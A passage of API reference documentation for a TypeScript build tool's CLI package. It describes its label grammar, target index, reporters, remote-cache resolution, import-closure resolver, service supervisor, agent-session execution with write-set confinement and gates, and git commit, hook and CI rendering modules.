`attrs` are the verb-effective attrs, so a generator target's key material,
declared inputs, and cacheability differ between a `build` plan and a `lint`
plan.

## Label

The label grammar. From `@smthrs/build-cli/Label`.

| Export                      | Signature                                                                          | What it is                                                            |
| --------------------------- | ---------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
| `Pattern`                   | `{ _tag: "Exact" \| "Subtree"; packagePath: string; target: string \| undefined }` | A parsed exact label or recursive pattern.                            |
| `parse`                     | `(value: string, currentPackage: string) => Pattern`                               | Parses `:name`, `//pkg`, `//pkg:name`, `//pkg/...`, `//pkg/...:name`. |
| `format`                    | `(packagePath: string, target: string) => string`                                  | Formats a path-derived label.                                         |
| `currentPackage`            | `(workspaceRoot: string, cwd: string) => string`                                   | The current package path; refuses a directory outside the workspace.  |
| `currentPackageOrUndefined` | `(workspaceRoot: string, cwd: string) => string \| undefined`                      | The same, answering `undefined` instead of throwing.                  |

## Query

Query result models and their text rendering. From `@smthrs/build-cli/Query`.

| Export          | What it is                                                                                                      |
| --------------- | --------------------------------------------------------------------------------------------------------------- |
| `Listing`       | A bare label or pattern query: `{ query, targets: [{ label, target, kinds, summary?, featured?, refusal? }] }`. |
| `Dependencies`  | A `deps(label)` query: `{ query, root, dependencies, edges }`.                                                  |
| `Dependents`    | An `rdeps(label)` query: `{ query, root, dependents }`.                                                         |
| `PackageOwners` | An `owners(label)` query: `{ query, package, owners, agentPolicy, upstream }`.                                  |
| `text`          | `(result, style?: Ansi.Palette) => string`. Renders any of the four for a person.                               |

## TargetIndex

The declaration-derived target index: what `smithers-build index` emits and
the root `//:targetIndex` generator commits as `.smithers/target-index.json`.
From `@smthrs/build-cli/TargetIndex`.

| Export    | What it is                                                                                                                          |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `Row`     | One labeled target as its declaration states it, re-exported from `@smthrs/targets/TargetIndex`.                                    |
| `Listing` | `{ pattern, targets }`, rows sorted by label.                                                                                       |
| `build`   | `(index: PackageIndex, pattern, signal?) => Promise<Listing>`. Reads the loaded declarations and their labeled edges; keys nothing. |
| `text`    | `(listing, style?: Ansi.Palette) => string`. Aligned `LABEL`, `RULE`, `KINDS` columns, the outputs a row owns, a star on featured.  |

A row carries `{ label, package, name, rule, kinds, summary?, featured?, mode?,
cacheable, inputs, outputs, dependencies, source?, refusal? }`. An input is a
`kind` record (`file`, `glob`, `pnpm-workspace`, `git-diff`) whose paths are
workspace-relative.

The `TargetIndex` rule refuses declared inputs that do not exist before it
writes or checks the file. A `file` input is absent when no file is at its
path. A `glob` input is absent when it matches nothing and no brace
alternative's static prefix holds a file; exclusions and `.gitignore` apply,
and the package boundary does not. A glob whose directory exists but matches
nothing today passes. A file that a selected target writes is skipped, since
its generator's drift check reports it. The refusal is
`DeclaredInputMissing` from `@smthrs/build-cli/PackageError`:
`{ missing: [{ path, label, sourceFile }] }`, one entry per absent input,
with `sourceFile` the workspace-relative `PACKAGE.ts` and no line number.

## Audience

Import `@smthrs/build-cli/Audience` for the shared, side-effect-free consumer
policy used by target execution and durable control commands.

`resolve(options?)` accepts an injected environment, terminal facts, audience
override, formatting, MCP, and verbosity options. Its `Policy` records audience,
selection source, matched harness names, structured-result preference, progress
mode, and interactive capability; it never exposes environment values.

`fromArguments(argv, options?)` resolves executable presentation flags without
touching workspace state. `incurArguments(argv, policy)` selects Incur formatting
for harness-owned PTYs, using incremental JSONL for logs. `markers` is the
verified registry. Detection is never an authorization boundary; see
[output policy](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/build-cli/docs/concepts/output.md) and [marker evidence](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/build-cli/docs/reference/agent-detection.md).

## Reporter

The seam between execution and the terminal. From `@smthrs/build-cli/Reporter`.

| Export            | Signature                                                                                                   | What it is                                                                 |
| ----------------- | ----------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| `uiModes`         | `readonly ["auto", "tty", "stream", "plain"]`                                                               | The `--ui` values.                                                         |
| `UiMode`          | `(typeof uiModes)[number]`                                                                                  | One `--ui` value.                                                          |
| `Renderer`        | `Exclude<UiMode, "auto">`                                                                                   | A concrete renderer: `auto` resolved.                                      |
| `Terminal`        | `{ write: (text: string) => void; isTTY: boolean; columns: number \| undefined }`                           | The stream a renderer writes to.                                           |
| `terminalOf`      | `(stream: NodeJS.WriteStream) => Terminal`                                                                  | Wraps a process stream as a `Terminal`.                                    |
| `Streams`         | `{ stdout: boolean; stderr: boolean }`                                                                      | Which streams are terminals.                                               |
| `resolveRenderer` | `(mode, env, streams, formatExplicit?) => Renderer`                                                         | Picks the renderer one invocation draws with.                              |
| `RunStart`        | `{ verb, pattern, jobs, targets }`                                                                          | Reported once before any target starts, so renderers size columns.         |
| `Reporter`        | interface with `begin`, `targetStarted`, `targetFinished`, `toolOutput`, `note`, `warn`, `summary`, `close` | The events execution reports.                                              |
| `MakeOptions`     | `{ renderer, terminal, env?, now?, interval? }`                                                             | What `make` needs beyond the renderer.                                     |
| `make`            | `(options: MakeOptions) => Reporter`                                                                        | Builds the reporter for one renderer.                                      |
| `of`              | `(options: { reporter?; log? }) => Reporter`                                                                | The given reporter, else plain over `log`, else plain over standard error. |
| `plain`           | `(writeLine: (line: string) => void) => Reporter`                                                           | The renderer that prints the historical lines and nothing else.            |
| `plainLine`       | `(report: TargetReport) => string`                                                                          | The status line for one settled target.                                    |
| `plainSummary`    | `(summary: Summary) => string`                                                                              | The end line for one run.                                                  |
| `formatDuration`  | `(durationMs: number) => string`                                                                            | Tenths of a second from one second up, whole milliseconds below.           |

Every renderer writes to standard error. Standard output stays the property of
the structured envelope, so `--format json` is never mixed with progress.

`TargetReport` and `Summary` are `@smthrs/build-cli/Executor` types.

## Workspace

Input expansion and remote-cache resolution. From `@smthrs/build-cli/Workspace`.

| Export                              | Signature                                                                           | What it is                                                          |
| ----------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------------- |
| `ExpandedInput`                     | `{ declaration: Input.Declared; files: ReadonlyArray<FileDigest>; digest: string }` | One declared matcher after discovery and measurement.               |
| `FileDigest`                        | `Input.FileDigest`                                                                  | A file and the digest that enters key material.                     |
| `declarationFileNames`              | `readonly ["PACKAGE.ts"]`                                                           | The only target declaration filename.                               |
| `ResolvedRemoteCache`               | `{ endpoint; credentials; discovered? }`                                            | The remote-cache settings one command runs under.                   |
| `ResolvedRemoteCacheCredentials`    | tagged union: `shared`, `split`, `public`, `anonymous`                              | Which credentials a workspace declared.                             |
| `RemoteCacheAccess`                 | `ResolvedRemoteCache` plus `readToken()`, `writeToken()`, `publishNamespace`        | A resolved cache with the readers that fetch its credentials.       |
| `credentialEnvNames`                | `(credentials) => ReadonlyArray<string>`                                            | Every environment name a resolved credential reads.                 |
| `remoteCacheOf`                     | `(declaration, endpointOverride?) => ResolvedRemoteCache \| undefined`              | Resolves a remote cache from an already-read declaration.           |
| `normalizeOverrideEndpoint`         | `(value: string) => string`                                                         | Validates the `SMITHERS_CACHE_URL` override.                        |
| `defaultSmithersCloudHosts`         | `ReadonlyArray<string>`                                                             | The hosts whose remotes identify a Smithers Cloud repository.       |
| `DiscoveredSmithersCloudRepository` | `{ repo: string; host: string }`                                                    | A repository found on a Smithers Cloud remote.                      |
| `parseSmithersCloudRemote`          | `(url: string, hosts?) => DiscoveredSmithersCloudRepository \| undefined`           | Parses one remote URL into `owner/name` on a Smithers Cloud host.   |
| `discoverSmithersCloudRepository`   | `(root, environment) => Promise<DiscoveredSmithersCloudRepository \| undefined>`    | Finds the Smithers Cloud repository a workspace's remote points at. |
| `smithersCloudCacheEndpoint`        | `(repo: string, environment) => string`                                             | The cache endpoint of a repository on Smithers Cloud.               |

The credential readers exist so a token value is fetched only while an
outbound request is being built, never held in a serializable field and never
part of a key.

## Resolver

TypeScript import-closure resolution, and the two actions built on it. From
`@smthrs/build-cli/Resolver`.

Parsing uses TypeScript 7's native compiler through its version-pinned
`unstable` API. The compiler receives only the supplied module and a synthetic
configuration in a closed virtual filesystem: no project configuration,
libraries, or imported files are loaded, and no source is executed or emitted.
Its process is closed after each parse. Syntax-error recovery is retained;
JSONC configuration loading and workspace resolution are separate operations.
Keep npm's platform-specific optional dependencies enabled so TypeScript's
matching native executable is installed.

Closure files and tsconfig chains are confined to the workspace's canonical
root. File and directory symlinks may resolve inside that root; escaping links
refuse the closure or configuration load before their content is hashed or
cached. Module text is limited to 8 MiB and each tsconfig to 1 MiB before
allocation. Text must be valid UTF-8. Non-module leaves are hashed through a
bounded buffer without a file-size limit. Digests cover the original bytes,
including any UTF-8 byte-order mark.

| Export                      | Signature                                                                          | What it is                                                                             |
| --------------------------- | ---------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- |
| `ResolverConfig`            | `{ workspaceRoot; configDigest; baseUrl; paths; sources }`                         | The configuration one closure resolves under.                                          |
| `loadResolverConfig`        | `(options: { workspaceRoot; tsconfig? }) => Promise<ResolverConfig>`               | Loads it from the tsconfig chain.                                                      |
| `ResolverConfigError`       | class carrying `reason`                                                            | `outside_workspace`, `extends_too_deep`, `unreadable`, `invalid`, or `unsupported`.    |
| `extractSpecifiers`         | `(path: string, text: string) => ReadonlyArray<ExtractedImport>`                   | Syntax-only extraction of import, export, require, and dynamic-import sites.           |
| `ExtractedImport`           | `{ specifier: string; dynamic: boolean; mode?: "require" }`                        | One extracted import site.                                                             |
| `resolveSpecifier`          | `(config, reader, fromFile, site) => Promise<RowEdge>`                             | Resolves one import into an explicit row edge.                                         |
| `RowEdge`                   | `{ specifier; status: EdgeStatus; resolved?; packageName? }`                       | One resolved specifier row.                                                            |
| `EdgeStatus`                | `"resolved-file" \| "package" \| "builtin" \| "unresolved" \| "dynamic"`           | The outcome of resolving one specifier.                                                |
| `FileRow`                   | `{ path; digest; edges }`                                                          | One file's digest plus every resolved specifier.                                       |
| `TreeView`                  | `{ root: string; kind(relativePath): Promise<EntryKind \| null> }`                 | The only filesystem surface resolution consumes.                                       |
| `EntryKind`                 | `"file" \| "dir" \| "other"`                                                       | What one workspace path is.                                                            |
| `computeClosure`            | `(options: { config; entries; cache?; maximumFiles? }) => Promise<ClosureOutcome>` | The transitive import closure of the entries.                                          |
| `ClosureOutcome`            | `{ result: Compose.ClosureResult; stats: ClosureStats }`                           | The deterministic result plus this run's counters.                                     |
| `ClosureStats`              | `{ parsed: number; cached: number }`                                               | Files extracted versus files answered from stored rows.                                |
| `ClosureError`              | class carrying `reason`                                                            | `unreadable`, `too_many_files`, `invalid_entry`, or `missing_entry`.                   |
| `closureOfEntries`          | `(options: LiveOptions, entries) => Promise<Compose.ClosureResult>`                | Load, expand, and compute in one call.                                                 |
| `LiveOptions`               | `{ workspaceRoot; cacheDirectory?; tsconfig?; cache? }`                            | What the live bindings run under.                                                      |
| `expandAnchoredSources`     | `(options) => Promise<ReadonlyArray<string>>`                                      | Expands anchored sources to a sorted set of workspace-relative files.                  |
| `packageDirectoryOf`        | `(workspaceRoot: string, base: string) => string`                                  | Maps an anchored base onto its package path.                                           |
| `operandPaths`              | `(options, operand, side) => Promise<ReadonlyArray<string>>`                       | Reduces one file-algebra operand to its path set.                                      |
| `rowCacheTarget`            | `"ImportClosureRow"`                                                               | The cache target resolver rows are stored under.                                       |
| `rowCacheKey`               | `(fileDigest: string, configDigest: string) => string`                             | One resolver row's cache key.                                                          |
| `ImportClosureLive`         | `(options: LiveOptions) => Layer`                                                  | Implements the `smithers-build/import-closure` action.                                 |
| `CheckFilesDifferenceLive`  | `(options: LiveOptions) => Layer`                                                  | Implements `smithers-build/files-difference`.                                          |
| `implementationFingerprint` | `"smthrs-resolver/4"`                                                              | This resolver's identity, combined with the compiler version into every config digest. |
| `maximumClosureFiles`       | `number`                                                                           | Maximum files one closure may reach.                                                   |
| `maximumModuleBytes`        | `number`                                                                           | Maximum bytes of one module admitted to the parser.                                    |

Package `#imports` resolve from the nearest `package.json`. Local targets join the
source closure with their transitive imports; missing targets produce unresolved
rows. Exact keys precede wildcard patterns, ordered by prefix and then pattern
length. Conditions select in declaration order from `types`, `node`, `default`,
and `import` or `require` according to the import site. External targets resolve
to the installed package name, and builtin targets produce no file dependency.

The controlling manifest joins the closure with its byte digest, including when
an alias is unresolved. Its path and digest extend the configuration identity
used for row-cache keys. Manifest and local target reads stay within the
workspace boundary and use the resolver's bounded readers.

## ServiceSupervisor

Services a target depends on. From `@smthrs/build-cli/ServiceSupervisor`.

| Export                      | Signature                                                                        | What it is                                                    |
| --------------------------- | -------------------------------------------------------------------------------- | ------------------------------------------------------------- |
| `ServiceSupervisor`         | `{ acquire: (spec: ServiceSpec) => Effect<ServiceHandle, ServiceError, Scope> }` | The per-command supervisor.                                   |
| `make`                      | `Effect<ServiceSupervisor, never, Scope>`                                        | Creates one whose services live at most as long as the scope. |
| `ServiceSpec`               | interface                                                                        | One resolved `Serve` target as the supervisor consumes it.    |
| `ServiceHandle`             | `{ key; pid; outputTail(); whileHealthy(consumer) }`                             | A live, ready service held by one consumer's scope.           |
| `ServiceError`              | tagged error with `key`, `reason`, `message`, `outputTail`                       | An acquisition or supervision failure.                        |
| `Readiness`                 | `{ port } \| { http, timeout } \| { exec, timeout }`                             | The readiness probe of a `Serve` target.                      |
| `Health`                    | `{ interval: string; failures?: number }`                                        | The health contract.                                          |
| `Stop`                      | `{ signal: string; grace: string }`                                              | The stop contract.                                            |
| `parseDurationMs`           | `(text: string, what: string) => number`                                         | Parses `"500ms"`, `"15s"`, `"2m"`, `"1h"`.                    |
| `defaultReadinessTimeoutMs` | `60_000`                                                                         | Overall readiness deadline for `{ port }` probes.             |
| `readinessPollMs`           | `250`                                                                            | Delay between readiness attempts.                             |
| `defaultHealthFailures`     | `3`                                                                              | Consecutive misses that mark a service unhealthy.             |
| `defaultStopSignal`         | `"SIGTERM"`                                                                      | Graceful-exit signal when the declaration omits `stop`.       |
| `defaultStopGraceMs`        | `5_000`                                                                          | Grace period before `SIGKILL`.                                |
| `outputTailLimit`           | `8 * 1024`                                                                       | Maximum captured output tail, in UTF-16 code units.           |

`ServiceError.reason` is one of `invalid-spec`, `spec-drift`, `spawn-failed`,
`exited`, `readiness-timeout`, `init-failed`, or `unhealthy`.

## AgentSession

The agent-target execution surface: sessions, candidate overlays, gates, and
verdicts. From `@smthrs/build-cli/AgentSession`.

### Sessions

| Export                  | Signature                                                                                            | What it is                                                   |
| ----------------------- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------------ |
| `AgentSession`          | `{ identity: string; run: (request: SessionRequest) => Effect<SessionEnvelope, AgentSessionError> }` | One open agent session.                                      |
| `SessionFactory`        | `{ open: (ref, mcp?) => Effect<AgentSession, AgentSessionError> }`                                   | Opens sessions for declared agent references.                |
| `SessionRequest`        | `{ purpose: "lint" \| "fix" \| "diff"; prompt: string }`                                             | What one session run is asked to produce.                    |
| `SessionEnvelope`       | `{ findings; edits; note }`                                                                          | One normalized session answer.                               |
| `EnvelopeSchema`        | Schema                                                                                               | The one JSON object every session must answer with.          |
| `parseEnvelope`         | `(text: string) => SessionEnvelope`                                                                  | Parses one answer into a normalized envelope.                |
| `makeCliSessionFactory` | `(options: CliSessionOptions) => SessionFactory`                                                     | A factory over the real `claude` and `codex` CLIs.           |
| `CliSessionOptions`     | `{ workspaceRoot; agents; executables?; timeoutMs?; sensitiveEnv? }`                                 | What that factory needs.                                     |
| `ConcreteAgent`         | `{ name: string; engine: "claude" \| "codex"; model: string }`                                       | One spawnable agent after pool expansion.                    |
| `resolveAgents`         | `(agents, ref) => ReadonlyArray<ConcreteAgent>`                                                      | Resolves a selector into the ordered agents a session tries. |
| `agentIdentityOf`       | `(resolved: ReadonlyArray<ConcreteAgent>) => string`                                                 | The key-material identity of one resolved agent list.        |
| `codexErrorMessages`    | `(stdout: string) => ReadonlyArray<string>`                                                          | The error messages a codex JSONL stream carries.             |
| `claudeMcpConfig`       | `(mcp: ReadonlyArray<Reference.McpHttp>) => string`                                                  | The `--mcp-config` document for the claude CLI.              |
| `precheckMcp`           | `(servers, timeoutMs?) => Effect<void, AgentMcpUnreachable>`                                         | Prechecks every declared MCP server before model spend.      |

`SessionFactory.open(ref, mcp)` preserves the declared HTTP MCP servers through
`Agent.Diff` and `Agent.Pr`, including pool fallback. The CLI factory passes them
as Claude's `--mcp-config` document or Codex's TOML `--config mcp_servers=...`
override. An empty declaration supplies an empty server table.

If any selected pool member uses Codex, server names must match
`^[a-zA-Z0-9_:@/.-]+$`. Unsupported names fail `open` with
`AgentSessionError` (`phase: "resolve"`) before any member spends tokens.

### Candidates, gates, and verdicts

| Export                     | Signature                                                                 | What it is                                                                                 |
| -------------------------- | ------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| `CandidateOverlay`         | `{ files; read(path); render() }`                                         | One immutable candidate tree: edits layered over the worktree.                             |
| `WriteSetApplier`          | `{ apply(edits, writeSet, base?); commit(overlay) }`                      | Applies edits confined to a write set and materializes them.                               |
| `makeLocalWriteSetApplier` | `(workspaceRoot: string) => WriteSetApplier`                              | Mechanical path validation, minimatch confinement, and refusal of any symlinked component. |
| `GateRunner`               | `{ run(gateIdentities, overlay, round) => Effect<...> }`                  | Runs declared gates against one round's exact candidate tree.                              |
| `unavailableGateRunner`    | `GateRunner`                                                              | Green for an empty gate set, a typed refusal for anything else.                            |
| `AgentVerdictStore`        | `{ get(key); put(key, value) }`                                           | Stores green verdicts under their full key.                                                |
| `VerdictKeyMaterial`       | `{ kind; diffDigest; promptDigest; agentIdentity; mode; gateIdentities }` | The full verdict key of one agent execution.                                               |
| `verdictKey`               | `(material: VerdictKeyMaterial) => string`                                | Encodes that material into one digest.                                                     |
| `makeMemoryVerdictStore`   | `() => AgentVerdictStore`                                                 | In-memory, one command's lifetime.                                                         |
| `makeFileVerdictStore`     | `(directory: string) => AgentVerdictStore`                                | File-backed under one directory.                                                           |
| `PrOpener`                 | `{ open(candidate) => Effect<string, AgentSessionError> }`                | Opens an accepted candidate as a pull request.                                             |
| `unavailablePrOpener`      | `PrOpener`                                                                | A typed refusal naming the integration point.                                              |

Standalone verdict keys are versioned. They include the rendered prompt (with
payload values, declared write-set, data file names and rendered contents), diff,
agent identity, execution mode, gate identities, MCP declarations, and candidate
round limit. Changing these inputs invalidates a cached candidate. Cache replay
validates the gate report and passes cached edits through `WriteSetApplier.apply`
with the current write-set before returning them.

`GateRunner.run` must return exactly one report entry for each requested identity.
Missing, duplicate, and unknown identities fail with `AgentSessionError`, phase
`gate`, and a `gate protocol` message before caching or opening a PR. Runners that
report display labels supply `reportIdentity(identity)` to map each requested
identity to its report label. The mapping must be unique. Without it, report
labels must equal the requested identities. An empty report is valid only for
an empty requested set.

`makeFileVerdictStore` treats unreadable or malformed JSON entries as cache misses.
Each put writes an exclusively created temporary sibling, syncs and closes it,
then renames it into place. Concurrent puts of the same key each succeed; the
last rename determines the stored value.

`makeLocalWriteSetApplier` rechecks path components and their device/inode identity
before committing a deferred overlay. Symlinks and replaced components refuse the
commit. File contents are published through a unique temporary sibling and rename,
so replacing an allowed hard link does not modify its other aliases. Existing
file permissions are preserved. Multi-file commits are not transactional, and
callers must serialize concurrent workspace directory mutations with commits.

### Running a target

| Export                | Signature                                                                                                                           | What it is                                                                        |
| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- |
| `AgentRuntime`        | `{ workspaceRoot; sessions; writeSets; gates; verdicts; payloadValues?; dataFiles?; prOpener?; gitTimeoutMs?; mcpProbeTimeoutMs? }` | Everything one agent-target execution needs.                                      |
| `runAgentLint`        | `(runtime, payload) => Effect<LintReport, LintError>`                                                                               | Executes one `Agent.Lint` payload.                                                |
| `runAgentDiff`        | `(runtime, payload) => Effect<DiffResult, DiffError>`                                                                               | Payload decode, MCP precheck, bounded candidate and gate rounds, verdict caching. |
| `runAgentPr`          | `(runtime, payload) => Effect<PrResult, PrError>`                                                                                   | The same loop, then the PR settle through `PrOpener`.                             |
| `AgentLintLive`       | `(runtime: AgentRuntime) => Layer`                                                                                                  | Implements the `smithers-build/agent-lint` action.                                |
| `AgentDiffLive`       | `(runtime: AgentRuntime) => Layer`                                                                                                  | Implements `smithers-build/agent-diff`.                                           |
| `AgentPrLive`         | `(runtime: AgentRuntime) => Layer`                                                                                                  | Implements `smithers-build/agent-pr`.                                             |
| `decodePayloadValues` | `(spec, values) => Effect<Readonly<Record<string, string>>, AgentNeedsInput>`                                                       | Validates `--input` values against the declared spec.                             |
| `expandDiffSlice`     | `(workspaceRoot, diffs, timeoutMs?) => Effect<DiffSlice, AgentSessionError>`                                                        | Expands a target's `gitDiff` declarations into its data slice.                    |
| `DiffSlice`           | `{ files; patch; digest }`                                                                                                          | One expanded diff slice.                                                          |
| `renderDataFiles`     | `(workspaceRoot, files) => Effect<string, AgentSessionError>`                                                                       | Renders the `=== FILES ===` section of a prompt.                                  |

### Limits

`maximumSessionOutputBytes` (4 MiB), `maximumDiffSliceBytes` (16 MiB),
`maximumSessionPromptBytes` (8 MiB), `maximumSessionFileBytes` (512 KiB),
`defaultSessionTimeoutMs` (5 minutes), `defaultMcpProbeTimeoutMs` (2.5
seconds), and `defaultGitTimeoutMs` (30 seconds).

Byte ceilings accept exactly the limit and reject one byte over it. The
stdout ceiling includes the CLI JSON envelope. The prompt ceiling includes
all rendered file sections. The diff ceiling includes every base's patch
and the newlines between base groups.

Diff paths are passed to Git in bounded batches of literal pathspecs. Patches
are concatenated within each base; base groups are rendered in sorted base
order. Both session expansion and plan-time diff digests use bounded batches
because `git diff` does not accept stdin pathspec files.

## AgentFake

The deterministic replacement for a real agent CLI. From
`@smthrs/build-cli/AgentFake`.

| Export                          | Signature                                                        | What it is                                                                                    |
| ------------------------------- | ---------------------------------------------------------------- | --------------------------------------------------------------------------------------------- |
| `fakeEnvironmentVariable`       | `"SMTHRS_AGENT_FAKE"`                                            | Names the script file that selects the fake.                                                  |
| `timeoutEnvironmentVariable`    | `"SMTHRS_AGENT_TIMEOUT_MS"`                                      | Names the per-session wall-clock ceiling.                                                     |
| `sessionTimeoutFromEnvironment` | `(env) => number \| undefined`                                   | Reads that ceiling: a positive integer of milliseconds, or unset.                             |
| `FakeScript`                    | Schema and type: `{ identity?; responses }`                      | One fake script file.                                                                         |
| `ScriptedResponse`              | Schema and type: `{ purpose?; findings?; edits?; note?; fail? }` | One scripted session response.                                                                |
| `loadFakeScript`                | `(path: string) => FakeScript`                                   | Reads and decodes one script; an invalid one throws rather than degrading into an empty fake. |
| `makeScriptedSessionFactory`    | `(script, options?) => ScriptedSessionFactory`                   | Replays one script deterministically.                                                         |
| `ScriptedSessionFactory`        | `SessionFactory` plus `opens()`, `spawns()`, `requests()`        | Exact spawn accounting for assertions.                                                        |
| `ScriptedFactoryOptions`        | `{ logPath?: string }`                                           | Where the factory logs, if anywhere.                                                          |
| `sessionFactoryFromEnvironment` | `(options, env) => SessionFactory`                               | The scripted fake when the variable names a script, the real factory otherwise.               |
| `makeScriptedGateRunner`        | `(reports) => ScriptedGateRunner`                                | Replays one scripted report per call, in order.                                               |
| `ScriptedGateRunner`            | `GateRunner` plus `calls()`                                      | Call accounting for assertions.                                                               |
| `ScriptedGateCall`              | `{ round: number; gates; files }`                                | One recorded scripted gate-runner call.                                                       |
| `promptFilesOf`                 | `(prompt: string) => ReadonlyArray<string>`                      | The paths under a prompt's `=== FILES ===` section, for cross-process proofs.                 |

## GitCommit

The `Git.Commit` implementation. From `@smthrs/build-cli/GitCommit`.

| Export             | Signature                                                                                                        | What it is                                                                                                                                                                                          |
| ------------------ | ---------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `commit`           | `(options: CommitOptions) => Promise<CommitResult>`                                                              | Stage, gate, message, commit.                                                                                                                                                                       |
| `CommitOptions`    | `{ root; paths?; sweepWorkingTree?; target; gateRunner; agentMessage?; messageOverride? }`                       | One invocation's inputs.                                                                                                                                                                            |
| `CommitResult`     | `{ sha; message; staged }`                                                                                       | The created commit.                                                                                                                                                                                 |
| `GitCommitError`   | class carrying `code` and `failures`                                                                             | One typed refusal.                                                                                                                                                                                  |
| `isGitCommitError` | `(value: unknown) => value is GitCommitError`                                                                    | Guard.                                                                                                                                                                                              |
| `ErrorCode`        | union                                                                                                            | `not_a_git_repository`, `invalid_paths`, `unrelated_changes`, `nothing_to_commit`, `gates_failed`, `candidate_changed`, `agent_message_unavailable`, `empty_message`, `git_failed`, `spawn_failed`. |
| `GateFailure`      | `{ target: string; message: string }`                                                                            | One red gate.                                                                                                                                                                                       |
| `GateRunner`       | `{ run(gates: ReadonlyArray<Target.AnyTarget>, candidate: CandidateTree): Promise<ReadonlyArray<GateFailure>> }` | Runs gates against the candidate tree.                                                                                                                                                              |
| `CandidateTree`    | `{ tree: string; materialize(directory: string): Promise<ReadonlyArray<string>> }`                               | The git tree the commit will record; `materialize` makes a working-tree copy hold exactly that tree.                                                                                                |
| `AgentMessage`     | `{ compose(context) => Promise<string> }`                                                                        | Composes a message for an agent-written `message` declaration.                                                                                                                                      |

`--sweep` sets `sweepWorkingTree`. Without it, a commit with no declared path
scope refuses with `unrelated_changes` and names the paths it does not own.

The gates judge the commit's own tree, not the working tree. After staging,
`commit` writes the index as one git tree and hands it to the `GateRunner` as a
`CandidateTree`. The executor's runner copies the working tree to a scratch
directory, calls `materialize` to rewrite every path that differs from the
candidate and remove every untracked, non-ignored path, and runs each gate
there. Ignored files, such as `node_modules` and build outputs, stay as copied.
An unstaged or untracked change outside the scope therefore cannot make a gate
pass or fail. The scratch copy has no `.git`, so a gate that reads the index
(for example `git diff --staged`) cannot run as a commit gate. Gates run as
candidate gates do for `Agent.Diff`: `Shell.Test`, `Shell.Build`, the Cargo
test and lint rules, `Suite`, `Alias`, and `Filegroup`; any other rule is red.

The commit must record exactly the judged tree. If the index changed after the
gates ran, or a `pre-commit` hook restaged a path, the invocation refuses with
`candidate_changed` and HEAD stays where it was.

Every refusal after staging (a red gate, a changed candidate, an empty or
unavailable message, a failed `git commit`) restores the index the invocation
found. The commit honors the repository's `commit.gpgsign` policy; a signing
failure refuses with `git_failed`.

## GitHooks

The `git-hooks` implementation. From `@smthrs/build-cli/GitHooks`.

`check` and `install` resolve the hooks directory with `git rev-parse --git-path hooks`,
including linked worktrees and `core.hooksPath`. They fall back to `.git/hooks`
only when Git is unavailable and the root has a `.git` directory. A Git failure
raises `not_a_git_repository` without falling back. A hooks directory outside
both the workspace root and the git common directory, such as a user-level
`core.hooksPath`, raises `hooks_path_outside_repository`. Containment uses
canonical paths, resolving symlinks in existing parents even when the hooks
directory does not exist yet. Both operations refuse external destinations
before reading or writing hook files. Each script runs
`smthrs '<label>'`, the bare-label form, so the label's flavor-implied verb runs.
`install` copies an existing hook it did not generate to `<hook>.bak` first.

| Export              | Signature                                                                             | What it is                                                                        |
| ------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- |
| `resolveHookLabels` | `(workspace, resolve: LabelResolver) => Readonly<Partial<Record<HookName, string>>>`  | Resolves the workspace bindings to labels.                                        |
| `render`            | `(bindings) => ReadonlyArray<{ file: string; content: string }>`                      | The deterministic hook script set.                                                |
| `check`             | `(root, rendered) => Promise<{ clean: boolean; entries: ReadonlyArray<CheckEntry> }>` | Byte-compares against the hooks directory resolved by Git.                        |
| `install`           | `(root, rendered) => Promise<{ wrote: ReadonlyArray<string> }>`                       | Installs the rendered scripts.                                                    |
| `CheckEntry`        | `{ file: string; status: "clean" \| "stale" \| "missing" }`                           | One hook file's classification.                                                   |
| `labelPattern`      | `RegExp`                                                                              | The shell-safe label grammar shared with `GithubRender`.                          |
| `hookNames`         | `readonly ["preCommit", "postCommit", "prePush", "postMerge"]`                        | The workspace hook events, in render order.                                       |
| `HookName`          | `(typeof hookNames)[number]`                                                          | One hook event.                                                                   |
| `hookFiles`         | `Readonly<Record<HookName, string>>`                                                  | The git hook file each event installs to.                                         |
| `LabelResolver`     | `{ labelOf(target): string \| undefined }`                                            | The one fact rendering needs from the index.                                      |
| `GitHooksError`     | class carrying `code`                                                                 | One typed refusal.                                                                |
| `isGitHooksError`   | `(value: unknown) => value is GitHooksError`                                          | Guard.                                                                            |
| `ErrorCode`         | union                                                                                 | `unlabeled_hook_target`, `invalid_label`, `not_a_git_repository`, `write_failed`. |

## GithubRender

The `Github.CiGen` implementation. From `@smthrs/build-cli/GithubRender`.

Run labels must match `GitHooks.labelPattern`: `//`, a package path using
ASCII letters, digits, `.`, `_`, `/`, or `-`, then `:` and a nonempty target name
using ASCII letters, digits, `.`, `_`, or `-`. Invalid run labels raise
`GithubRenderError` with code `invalid_label` before shell command rendering.

| Export                | Signature                                                          | What it is                                                                                    |
| --------------------- | ------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| `render`              | `(options: { ciGen; workspace; resolve; packageDir }) => CiRender` | The complete file set one target owns.                                                        |
| `check`               | `(root, rendered) => Promise<CheckReport>`                         | Byte-compares the set against the tree.                                                       |
| `write`               | `(root, rendered) => Promise<WriteReport>`                         | Publishes the set, atomically per file.                                                       |
| `CiRender`            | `{ label; packageDir; files; preserve; changes }`                  | One rendered output.                                                                          |
| `RenderedFile`        | `{ path: string; content: string }`                                | One rendered file.                                                                            |
| `CheckReport`         | `{ clean: boolean; entries: ReadonlyArray<CheckEntry> }`           | The drift report.                                                                             |
| `CheckEntry`          | `{ path: string; status: FileStatus }`                             | One classified file row.                                                                      |
| `FileStatus`          | `"clean" \| "stale" \| "missing" \| "unexpected" \| "preserved"`   | One file's classification.                                                                    |
| `WriteReport`         | `{ wrote; unchanged; removed; preserved }`                         | The result of publishing.                                                                     |
| `LabelResolver`       | `{ labelOf(target); targets?() }`                                  | What the renderer needs from the index.                                                       |
